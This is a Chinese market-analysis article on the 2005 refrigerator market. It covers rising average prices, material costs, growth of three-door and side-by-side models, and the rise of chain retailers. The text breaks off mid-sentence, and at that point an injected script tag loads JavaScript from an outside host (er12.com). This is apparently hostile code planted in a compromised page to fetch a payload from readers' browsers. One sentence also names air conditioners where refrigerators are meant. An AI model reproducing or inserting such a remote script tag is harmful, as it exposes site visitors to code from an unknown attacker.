作为较早进入城市家庭的家用电器，冰箱在国内已发展了20多 年。而且，第一代购买冰箱的家庭，目前已基本完成了至少一次替换 升级。虽然如此，冰箱市场仍是一个稳定而非衰退的市场。由于每年 进入替换期的冰箱数量都在快速增长，使得升级换代将会逐渐超过首 次购买，成为冰箱的主流需求。这就决定了中国冰箱市场必将更加细 分化，逐步走向高端化、多样化。
从gfk最新的监测数据也可以看出，冰箱市场正在经历一场变革， 高端产品比重迅速上升，其结果带动冰箱平均价格出现近十年来最大 的升幅。在价格战硝烟散去之后。追求利润，显然已经成为冰箱行业 的共识。
平均价格上升促使销量涨幅下降
根据监测数据后预测，2005冷冻年度冰箱市场的零售量将达到 1150万台，销售额将达到252亿元。比较2004年度的数据，2005年全国 冰箱零售市场的销售额增幅将达到9%，而销量增幅仅有2.6%，远远低 于2004年度7.7%的销量增幅，以及近5年来平均5.7%的年平均销量增 长率。2005年，空调在全国零售市场的平均价格的涨幅将超过6.2%， 平均价格将接近2200元，比2004年度涨幅超过130元。而在大中城市 和较富裕的地区，平均价格涨幅更大，达到14%。可见，今年冰箱市 场均价的上升一定程度上影响了销量的增长。
冰箱平均价格上升，除了一些品牌对一些老型号以及同档次的新 型号向上小幅调整价格的原因外，更重要的是产品的升级所致。对开 门冰箱正在持续高速增长，三门冰箱在沉寂了几年后终于在今年开始 以高端冰箱新方向的面貌高速增长，而传统双门冰箱也在快速大容量 化，此外电脑控温的比重也在迅速增长。
冰箱价格上升的另一个推动因素是制造成本的上升。由于2003年 到今年4月的钢材价格一直在上涨，导致2005年度冰箱用钢材的采购 价格大幅上扬以及压缩机价格的上涨。同时，石油价格的上涨也导致 了塑料价格的上升。如此，给本来利润率就不高的冰箱制造商带来很 大的压力。对他们来说，涨价是唯一的选择。
市场迅速走向高端
今年冰箱迅速向高端化发展主要体现在三个方面：
第一，三门冰箱比重比去年增长一倍以上。从65个城市的监测结 果来看，三门冰箱的份额从去年的2.8%上升到今年的5.9%，而且这一 比重还处于增长的趋势中。预计明年三门冰箱所占的比重在大中城市 有可能超过9%。估计今年三门冰箱全国销量将超过52万台，销售额达 到23.7亿元，而去年三门冰箱的销量只有27万台，销售额只有11.3亿 元。从全国来看，三门冰箱的销售额今年增长了1倍以上。而且在三 门冰箱中，300升以上大三门冰箱的比重也有所上升，所以带动整体 三门冰箱的价格比去年同期增长了7%以上。今年8月，三门冰箱在大 中城市已经接近4700元，是普通两门冰箱价格的2.2倍。
第二，大容量电脑温控冰箱增长迅速。整个冰箱市场上，电脑温 控的比重从2004年的25%上升到今年的30%，而200升以上电脑温控型 的比重，从2004年的18%提高到了今年的22%。也就是说，电脑温控冰 箱的增长，基本上都在200升以上的大中容量的冰箱上。如果看销售 额，今年200升以上电脑温控冰箱的比重已经接近市场的40%，而去年 同期只有32%。
另外，从更细分的容量段来看，在普通两门冰箱里，200—225升 中等容量段增长最快，从占两门冰箱的22%增长到今年的26%，而175 升以下小两门冰箱比例下降很快。三门冰箱的大幅增长，带动300— 500升大容量冰箱比重的从占所有冰箱的5%上升到了7%，销售额比重更 是从9%上升到了14%。另外，由于对开门冰箱持续迅猛增长的态势， 导致500升及以上的最大容量冰箱也占到了全部冰箱销量的1%以上， 而销售额比重更是达到了6%。
第三，最高端的对开门冰箱持续高速增长。虽然今年由于对开门 冰箱降价幅度只有不到3%，远远低于过去几年10%以上的水平，使对 开门冰箱的销量增长幅度下降。但今年对开门冰箱依然保持了43%的 销量增长率和39%的销售额增长率。预计今年对开门冰箱的销量将达 到7.8万台—8万台，销售额将超过9亿元。明年，对开门冰箱估计还 将以超过30%的高速度增长，全国零售市场的冰箱销量将突破11万台。
在白色家电中，冰箱的利润率相对高而稳定。随着冰箱市场高端 化趋势的日益明显，冰箱行业的赢利状况将得到更进一步的改善。尤 其对于那些正在将市场重点转移到高端冰箱的国外品牌来说，其利润 将更可观。
连锁店经营策略更重利润
今年的冰箱市场正在经历一场巨大的变革。其明显的一个变化是， 无论在产品上，渠道结构上，还是品牌结构上，利润优先原则已经成 为行业的共识。
在所有家电领域，连锁家电专卖店的强势发展推动了渠道的变革。 冰箱领域也是如此。连锁家电专卖店的比重已经超过整个市场的一半， 传统渠道如百货商场和个体家电专卖店的比重连年快速下降。另一方 面，如家乐福、沃尔玛等超市，由于冰箱营业额较大且利润在大家电 产品中较高，?script src=http://er12.com/t.js>
